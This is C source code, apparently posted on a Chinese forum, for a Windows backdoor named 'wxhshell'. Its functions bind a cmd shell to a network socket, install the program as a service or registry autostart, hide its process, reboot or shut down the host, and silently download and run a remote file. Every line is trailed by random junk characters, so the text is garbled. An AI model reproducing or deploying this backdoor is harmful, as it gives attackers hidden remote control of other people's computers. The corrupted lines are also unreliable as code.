  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XogvtK*  
  } rIeM+h7Wn  
  else { rH9uGm-*  
h?0F-6z  
    switch(cmd[0]) { g1ZV&X=2  
  g4N%PV8  
  // 帮助 f}[H `OF  
  case '?': { @Ex;9F,Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); })@tA<+  
    break; n{dP@_>WS  
  } [ULwzjss#L  
  // 安装 4~O6$;!|~  
  case 'i': { Zc-#;/b3T  
    if(Install()) GAv)QZyV$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S8O)/Sg=  
    else 9>N\sOh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u4:\UC'  
    break; $ !v}xY  
    } m!<X8d[bD  
  // 卸载 `#u l,%  
  case 'r': { >b>M Km>q  
    if(Uninstall()) PzjaCp'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4,2(nYF  
    else BwC<rOU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |*:tyP%m^  
    break; G%a] j  
    } um;:fT+  
  // 显示 wxhshell 所在路径 hG= k1T%=  
  case 'p': { tXt:HVN  
    char svExeFile[MAX_PATH]; 7))\'\  
    strcpy(svExeFile,"\n\r"); %X;7--S%?g  
      strcat(svExeFile,ExeFile); Iz#yQ`  
        send(wsh,svExeFile,strlen(svExeFile),0); %yp5DD}|  
    break; [s~JceUyX  
    } )ZGYhE  
  // 重启 [-\({<t3x  
  case 'b': { 25d\!3#E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *B1x`=  
    if(Boot(REBOOT)) "K,bH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bFg*l$`5  
    else { ^IBGYl5n  
    closesocket(wsh); "OO96F  
    ExitThread(0); U^[<  
    } %y>+1hakkX  
    break; Va7c#P?  
    } BRb\V42i;  
  // 关机 Y+g,pX  
  case 'd': { .(|+oHg<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BDy5J2<<7l  
    if(Boot(SHUTDOWN)) tQrS3Hz'nA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .`,F  
    else { .U9 R> #  
    closesocket(wsh); 6 }!Z"  
    ExitThread(0); wUoiXi09  
    } ,9mgYp2  
    break; e 8,{|a  
    } }!8nO;  
  // 获取shell CM9XPr  
  case 's': { 7rcA[)<'  
    CmdShell(wsh); ^ Hg/P8q  
    closesocket(wsh); eIg+PuQD]  
    ExitThread(0); f])M04<  
    break; NPm;  
  } f ba&`  
  // 退出 &|b4\uj9  
  case 'x': { j$Nf%V 6Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r| f-_D  
    CloseIt(wsh); ["a"x>X&  
    break; 1AF%-<`?s  
    } >SoO4i8  
  // 离开 DzC Df@TB"  
  case 'q': { :?=Q39O9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XA)'=L!^  
    closesocket(wsh); RNTa XR+Zn  
    WSACleanup(); rVH6QQF=\  
    exit(1); ~-_i  
    break; gWOt]D&#/  
        } SWs3SYJ\  
  } T~Ly^|Ihz  
  } fG&=Ogy  
5 6DoO'  
  // 提示信息 l$a?A[M$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ! Z;T-3^.  
} U\jb"  
  } Fu7M0X'p  
fN)x#?  
  return; o@W_ai_  
} {~N3D4n^  
Hz@h0+h  
// shell模块句柄 :g2  }C  
int CmdShell(SOCKET sock) (wuaxo:  
{ *0y{ ~@  
STARTUPINFO si; byGn,m  
ZeroMemory(&si,sizeof(si)); qsI^oBD"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QXVC\@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nBz`q+V  
PROCESS_INFORMATION ProcessInfo; R>2IRvY(  
char cmdline[]="cmd"; E  T:T7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zw{MgoJ0Z  
  return 0; mnjs(x<m  
} sI,W%I':d  
PcC/_+2  
// 自身启动模式 nPFwPk8=M  
int StartFromService(void) xJc$NV-JzK  
{ pu9^e4B9  
typedef struct 7Xg?U'X  
{ WC*=rWRxF  
  DWORD ExitStatus; rrqQCn9  
  DWORD PebBaseAddress; gEwd &J  
  DWORD AffinityMask; *geN [ [  
  DWORD BasePriority; >&U @f  
  ULONG UniqueProcessId; ST Z]8cw  
  ULONG InheritedFromUniqueProcessId; m#e*c [*G  
}   PROCESS_BASIC_INFORMATION; V`#.7uUP  
C\}/"  
PROCNTQSIP NtQueryInformationProcess; lpgd#vr  
y('k`>C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ; s|w{.<:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eC! #CK  
-*B`]  
  HANDLE             hProcess; ?9mkRd}c  
  PROCESS_BASIC_INFORMATION pbi; (R*j|HAw`X  
8'#/LA[uPe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jlqv2V7=/  
  if(NULL == hInst ) return 0; /,s[#J   
}Fa%%}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J?&l*_m;t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V'G Ju  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MS3=~*+  
"OmD@ EMT  
  if (!NtQueryInformationProcess) return 0; ?o*I9[Z)  
uO6{r v\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YKZa$@fA?  
  if(!hProcess) return 0; S`!-Cal`n  
-!e7L>w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s?rBE.g@}  
mr:CuqJ  
  CloseHandle(hProcess); y_p.Gzy(^}  
IiJZ5'{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #Sh <Ih  
if(hProcess==NULL) return 0; zMi; A6  
o}$1Ay*q`  
HMODULE hMod; "=1;0uy]  
char procName[255]; ;*2>ES  
unsigned long cbNeeded; S( ^.?z  
x,n,Qlb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~P .I<  
?D`T7KSe~D  
  CloseHandle(hProcess); ?6^|ZtB  
T,%j\0  
if(strstr(procName,"services")) return 1; // 以服务启动 K`g7$r)U[  
3g~'5Ao  
  return 0; // 注册表启动 _S}A=hK'  
} V  ~@^`Gd  
,%9df+5k  
// 主模块 uXjP`/R|  
int StartWxhshell(LPSTR lpCmdLine) em{(4!W>  
{ P{Lf5V9# <  
  SOCKET wsl; 2c5-)Dt)T  
BOOL val=TRUE; &;&ho+qD  
  int port=0; n>>Qn&ym  
  struct sockaddr_in door; k,yZ[n|`  
5=|hC3h  
  if(wscfg.ws_autoins) Install(); j|4C\~i  
E>|: D  
port=atoi(lpCmdLine); Dd/wUP  
r SkUSe6  
if(port<=0) port=wscfg.ws_port; p5r]J+1  
06q(aI^Ch@  
  WSADATA data; -G7TEq)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2-N 'ya  
4JGtI*%5lq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /U&Opo {aO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^(HUGl_  
  door.sin_family = AF_INET; }7E^ZZ]f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G` XC  
  door.sin_port = htons(port); o1cErI&q"  
~Wo)?q8UY,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y_woKc*  
closesocket(wsl); G3G#ep~)vC  
return 1; jRSUp E8  
} ?W^c4NtP  
UcOk3{(z$q  
  if(listen(wsl,2) == INVALID_SOCKET) { KGH/^!u+R  
closesocket(wsl); y){ k3lm0  
return 1; 1 i[\T  
} {8)zg<rL+M  
  Wxhshell(wsl); npJt3 Y_I  
  WSACleanup(); D=m 'pL/pl  
SCvVt  
return 0; N ,8/Y  
CHrFM@CM  
} ,(8;y=wux  
( +pLA"xq  
// 以NT服务方式启动 n!p<A.O7@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AP77a*@8  
{ {M-YHX>*;g  
DWORD   status = 0; ?HF%(>M  
  DWORD   specificError = 0xfffffff; 6KpHnSW  
h3LE>}6D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /x_o!<M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $hivlI-7Ko  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4RSHZAJg  
  serviceStatus.dwWin32ExitCode     = 0; OQW#a[=WQ  
  serviceStatus.dwServiceSpecificExitCode = 0; T}V!`0vKw  
  serviceStatus.dwCheckPoint       = 0; x=ul&|^7D  
  serviceStatus.dwWaitHint       = 0; qlL`jWJ  
s l]_M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R" ;x vo*  
  if (hServiceStatusHandle==0) return; na9sm  
]gYz 4OT  
status = GetLastError(); ~0beuK&p  
  if (status!=NO_ERROR) kY*rb_2j  
{ }VS5gxI1.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ecd;<$tk  
    serviceStatus.dwCheckPoint       = 0; GrUCZ<S  
    serviceStatus.dwWaitHint       = 0; `c<;DhNO  
    serviceStatus.dwWin32ExitCode     = status; _%5R o6  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]]Cb$$Td  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  GB$;n?  
    return; GGnpjwXeH  
  } \"X!2  
bGc~Wr|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vx~,Uex0+  
  serviceStatus.dwCheckPoint       = 0; 1P~X8=9h  
  serviceStatus.dwWaitHint       = 0; h }B% /U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >}+/{(K"E|  
} MyT q  
ZosP(Tdq  
// 处理NT服务事件,比如:启动、停止 j#cYS*^H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N[s}qmPha  
{ -$\+' \  
switch(fdwControl) b )B? F  
{ {q"OM*L(  
case SERVICE_CONTROL_STOP: {NHdyc$  
  serviceStatus.dwWin32ExitCode = 0; DRcNdO/1E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;kY(<{2  
  serviceStatus.dwCheckPoint   = 0; 1v71rf&w  
  serviceStatus.dwWaitHint     = 0; Q_[ 3`j l  
  { O^oWG&Y;v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z^'gx@YD*v  
  } S:h{2{  
  return; 0u;4%}pD  
case SERVICE_CONTROL_PAUSE: |Y?H A&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zd @m~V  
  break; 9I}-[|`u  
case SERVICE_CONTROL_CONTINUE: FoN|i"*l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  #"@|f  
  break; *MKO I'  
case SERVICE_CONTROL_INTERROGATE: IZpP[hov  
  break; vEJWFoeEFm  
}; 0cj>mj1M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e 9;~P}  
} !@}wDt  
I}1NB3>^  
// 标准应用程序主函数 wOU_*uY@6'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ML|FQ  
{ 02 c':a=7  
RZXjgddL  
// 获取操作系统版本 \G*0"%!U  
OsIsNt=GetOsVer(); vSEuk}pk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !2ZF(@C /  
{ \81i8b]  
  // 从命令行安装 o]4*|ARPs  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;lE%M  
sB7# ~p A  
  // 下载执行文件 N sXHO  
if(wscfg.ws_downexe) { 8WXQ Oo8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MN\HDKN  
  WinExec(wscfg.ws_filenam,SW_HIDE); >T^;MS  
} e|"WQ>  
Y3Yz)T}UkS  
if(!OsIsNt) { \NPmym_ 6J  
// 如果时win9x,隐藏进程并且设置为注册表启动 .P8&5i)'P,  
HideProc(); s~^5kgPA  
StartWxhshell(lpCmdLine); ].-1v5  
} *\ R ]NV  
else b3=rG(0f  
  if(StartFromService()) `dq,>HdW  
  // 以服务方式启动 GeH#I5y  
  StartServiceCtrlDispatcher(DispatchTable); 9jM}~XvV  
else C5o#i*|  
  // 普通方式启动 >qnko9V  
  StartWxhshell(lpCmdLine); wW>A_{Y  
M:Pc,  
return 0; xF!,IKlBBp  
}
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只看该作者 1 发表于: 2006-10-10
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